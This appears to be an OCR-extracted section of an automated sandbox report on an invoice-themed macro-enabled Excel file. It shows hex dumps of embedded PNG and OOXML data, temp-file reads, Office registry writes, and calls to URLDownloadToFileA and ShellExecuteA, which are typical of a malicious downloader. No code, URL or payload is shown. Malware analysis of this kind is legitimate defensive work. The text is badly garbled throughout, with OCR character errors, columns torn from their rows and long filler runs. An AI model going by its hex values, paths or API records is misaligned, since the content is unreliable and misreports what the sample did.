ec 7d Ob 74 5¢c ¢5 .}.A\..f..-...[.0.6.Z....i......Il...F success or wait

99 66 dd db 2d
a9 ad 97 5b b2
30 c2 36 f8 5a 08

Ascii

...D..R.....L.mAD.'
-.&.9%.C.Fa.L2l..-fD.
<4.

bb 0d 8e 69 19 c¢7 {N."...3..;a...A}Uu..ZW.....)

08 81 9d 96 6¢ 83
cc d8 46 20 07 14
e2 44 dd 92 da
52 db b2 ba 91
da 8e 4c 1e b4 6d
41 44 d6 27 11 2¢
e3d1 102611
3924 a34318
46 c9 61 89 4c 32
49 db 09 19 2d
07 66 44 ce 3c 34
bb 7b 4e 84 27
b3 ab b3 33 99
15 3b 61 dO ce 99
41 fb 7d 55 75 bb
af 5a 57 ¢6 86 cc
eb 9c 299 ef fa
eb ab ff ff eb 5d
b7 ee bd 75 cb 93
7f 5¢ 36 fd ec 77
56 bd 25 72 dc Oe
el 1l efcd2f13
9 Oe dc 00 4f 92
ce 2f 84 09 86 f4
de fc fc bc c4 fO
03 f6 3f dc bf a3
1a 8 27 e4 b5 00
ed 16 02 79 41
79 20 b6 79 31
e8 5a d0 32 50
21a808c4 76 2e
81 5f 0a ba 06 e4
07 9581 ca4l2b
40 15 a0 ab 40
2b 41 57 83 2a
41 3e d0 2a d0
6a d0 1a d0 5e
50 13 68 2d 68
Ob 68 1d a8 Oa
743d a8 1la 74
03 68 3d 68

........ ]...u..\6.wV.%r.....
..

P.h-h.h...t=..th=h

Symbol
7FEEAC59ACO unknown
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File Path
C:\Users\user\Desktop\EC3F0000

Copyright null 2021

Offset
50748

Length Value

2653

89 50 4e 47 0d
Oa 1a Oa 00 00
00 0d 49 48 44
52 00 00 01 6b
00 00 00 ea 08
03 00 00 00 53
03 94 83 00 00
00 19 74 45 58
74 53 6f 66 74 77
61 72 65 00 41
64 6f 62 65 20 49
6d 61 67 65 52
6561 64 79 71 c9
65 3¢ 00 00 00 18
50 4c 54 45 ff ff ff
b0 b0 b0 d3 d4
d3 4b 49 4b 8f cc
e5 94 96 6 c9 d3
f9 84 84 85 f5 b7
Ob db 00 00 09
db 49 44 41 54
78 da ec 9d 09 62
a3 30 0c 45 2d 91
a2 fb df b8 de 11
60 a8 59 02 86
7e 66 da a6 24
93 68 le f6 b7 2c
ch c2 48 87 e3 9a
43 4c 67 1e 78 3¢
d4 68 b0 06 6b
b0 06 6b b0 06
6b b0 06 6b b0
06 6b b0 06 6b
b0 06 6b b0 06
eb ff ce 9a bb ce
9e ec 3a f6 df 84
fd ef 24 46 dc 03
fb 88 ¢8 90 b1 7f
ed 03 e6 f8 45 a7
98 c2 dd c7 74 f2
63 3fcc 7e 94 f4
f2 71 3fdc a7 fe
fc c9 fa 21 46 cf
cd f6 a7 29 3c 23
24 e26¢c14d3 9
ef cc d6 e4

PNG........ IHDR...k......... S success or wait

....... tEXtSoftware.Adobe

Imag
eReadyqg.e<....PLTE

1] RNSINRSNS——— IDATX....b

0.E-.....Y.~f.$.h.
H...CLg.x<.h..k..k..k.

K.k..

R [ 2 (] SR =

<#3$.l.......

Completion

Source
Count Address

Symbol

1 7FEEAC59ACO unknown
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File Path
C:\Users\user\Desktop\EC3F0000

Copyright null 2021

Offset
56992

Length Value

1719

50 4b 01 02 2d
00 14 00 06 00
08 00 00 00 21
00 04 f8 aa fd e3
01 00 00 2a 07
00 00 13 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
5b 43 6f 6e 74 65
6e 74 5f 54 79 70
65 73 5d 2e 78
6d 6¢ 50 4b 01 02
2d 00 14 00 06
00 08 00 00 00
21 00 b5 55 30
23 f5 00 00 00 4c
02 00 00 Ob 00
00 00 00 00 00
00 00 00 00 00
00 00 1c 04 00 00
5f 72 65 6¢ 73 2f
2e 72 65 6¢ 73

50 4b 01 02 2d
00 14 00 06 00
08 00 00 00 21
00 16 15 88 97
1b 01 00 00 2b
03 00 00 1a 00
00 00 00 00 00
00 00 00 00 00
00 00 42 07 00
00 78 6¢ 2f 5f 72
65 6¢ 73 2f 77 6f
72 6b 62 6f 6f 6b
2e 78 6d 6¢ 2e 72
65 6¢ 73 50 4b 01
02 2d 00 14 00
06 00 08 00 00
00 21 00 76 da ca
4b 7e 02 00 00
07 06 00 00 Of 00
00 00 00 00 00
00 00 00 00 00
00 00 9d 09 00
00 78 6c 2f 77 6f
72 6b 62 6f 6f 6b
2e 78 6d 6¢

.............. B...xl/_rels/wor

kbook.xml.relsPK..

xl/workbook.xml

Symbol
7FEEAC59ACO unknown
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Source

File Path Offset Length Value Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\1013866.cvr unknown 1452 4d 53 51 4d 78 success or wait 1 14012828C URLDownloadToFileA

00 00 00 00 00

00 00 35 98 d6

97 0a 00 00 00

34 05 00 00 02

00 00 00 00 00

Oe 00 67 1b 00

00 00 00 00 00

00 00 00 00 00

00 00 00 00 00

00 00 00 00 00

00 d6 8a fd 6e 7a

e8d6 01 2d 06

d1 87 7a e8 d6

01 00 00 00 00

00 00 00 00 00

00 00 00 00 00

00 00 00 00 00

00 00 00 00 00

00 00 00 00 00

00 00 00 00 00

00 00 00 00 00

00 00 00 00 00

00 00 00 00 00

00 00 00 00 03

00 00 01 00 00

00 00 00 00 00

00 00 00 00 02

00 00 00 01 00

00 00 b5 a2 00

00 03 00 00 00

4558 43 45 00

00 00 00 04 00

00 00 ff ff ff ff 00

00 00 00 05 00

00 00 ff ff ff ff 00

00 00 00 06 00

00 00 00 00 00

00 ac 00 00 00 35

00 00 00 67 1b

00 00 00 00 00

00 3b 00 00 00

02 00 00 00 ac

00 00 00 3c 00 00

00 00 00 00 00

00 00 00 00 41

00 00 00 00 04

00 00 00 00 00

00 6¢ 00 00 00 00

00 00

File Read
Source

File Path Offset Length Completion Count Address Symbol
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 1408 pending 1 7FEEACBFD74 unknown
Files\Content.MSO\45C49261.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 88 pending 1 7FEEACBFD74 unknown
Files\Content.MSO\45C49261.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 1 7FEEAC59ACO unknown
Files\Content.MSO\28C714EE.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 1 7FEEAC59ACO unknown
Files\Content. MSO\6FBOE417.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 1 7FEEAC59ACO unknown
Files\Content. MSO\6D1BBF2C.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 8192 success or wait 1 7FEEAC59ACO unknown
Files\Content.MSO\45C49261.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 8192 end of file 1 7FEEAC59ACO unknown
Files\Content.MSO\45C49261.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 2 7FEEAC59ACO unknown
Files\Content.MSO\45C49261.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 2653 success or wait 2 7FEEAC59ACO unknown
Files\Content. MSO\9695A3EO0.png
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 1408 pending 2 7FEEAC59ACO unknown
Files\Content.MSO\45C49261.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 1 7FEEAC59ACO unknown
Files\Content. MSO\C5BE6A1A.emf
C:\Users\user\Desktop\INV7693947099-20210111388211.xIlsm unknown 8 success or wait 1 7FEEAC59ACO unknown
C:\Users\user\Desktop\INV7693947099-20210111388211.xIsm 0 8 pending 1 7FEEAC59ACO unknown
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Registry Activities

Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\VBA

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F1CC4
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F3CA3
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F5CCO
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Options

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Options

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Options

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Options

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

DefaultSheetR2L

UseSystemSeparators

ThousandsSeparator

DecimalSeparator

Max Display

Max Display

Item 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Iltem 12

Item 13

Type

dword

dword

unicode

unicode

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait
success or wait

success or wait

success or wait

Data

25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3771420242.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

P PR NN R R R R R R R

Source

Symbol

7FEEAC6E72B RegCreateKeyExA

7FEEAC6E72B RegCreateKeyExA

7FEEAC6E72B RegCreateKeyExA

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

Source
Count Address

1 14012828C

1 14012828C

1 14012828C

1 14012828C

1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO

Symbol
ShellExecuteA

ShellExecuteA

ShellExecuteA

ShellExecuteA

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[000000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[000000000]*C:\Users\user\Desk
top\1387277564.xlsx

[FO0000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[000000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[000000000]*C:\Users\user\Desk
top\8416181845.xlsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic Ficc4 binary 04 00 00 00 7C 07 00 00 38 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\F1CC4 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 62 00 65
00 66 00 6F 00 72 00 65 00 2E 00 31
00 2E 00 31 00 2E 00 30 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63
00 73 00 76 00 00 00 00 00 22 00 00
00 43 00 3A 00 5C 00 55 00 73 00 65
00 72 00 73 00 5C 00 41 00 6C 00 62
00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C
00 6F 00 63 00 61 00 6C 00 5C 00
54 00 65 00 6D 00 70 00 5C 00 01 00
00 00 01 00 00 00 95 4C DO 79 7A
E8 D6 01 C4 1C OF 00 C4 1C OF 00
00 00 00 00 B8 02 00 00 OA 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

HKEY_LOCAL_MACHINE\SOFTWARE\Mi ProductNonBootFilesIntl_ dword 1378549761 success or wait 1 7FEEAC59ACO unknown
crosoft\Windows\CurrentVersion 1033

\Installer\UserData\S-1-5-18\P

roducts\00004109E6009040010000

0000F01FEC\Usage

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
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Key Path

HKEY_CURRENT_USER\Software\Mic

rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Item 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Item 7

Item 8

Item 9

Item 10

Iltem 11

Iltem 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3771420242.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F3CA3 binary 04 00 00 00 7C 07 00 00 30 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\F3CA3 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 78 00
6C 00 73 00 6D 00 2E 00 73 00 68
00 65 00 65 00 74 00 2E 00 63 00 73
00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00 70 00 44
00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 01 00 00
000100000071 2B A8 7TE 7TAE8
D6 01 A3 3C OF 00 A3 3C OF 00 00
00 00 00 B8 02 00 00 66 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F5CCO binary 04 00 00 00 7C 07 00 00 38 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\F5CC0O 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 44 00 65 00 73 00
6B 00 74 00 6F 00 70 00 5C 00 49
00 4E 00 56 00 37 00 36 00 39 00 33
00 39 00 34 00 37 00 30 00 39 00 39
00 2D 00 32 00 30 00 32 00 31 00 30
00 31 00 31 0031 00 33 00 38 00 38
00 32 00 31 00 31 00 2E 00 78 00 6C
00 73 00 6D 00 00 00 00 00 17 00 00
00 43 00 3A 00 5C 00 55 00 73 00 65
00 72 00 73 00 5C 00 41 00 6C 00 62
00 75 00 73 00 5C 00 44 00 65 00 73
00 6B 00 74 00 6F 00 70 00 5C 00 01
00 00 00 01 00 00 00 2F 0D 8A 83
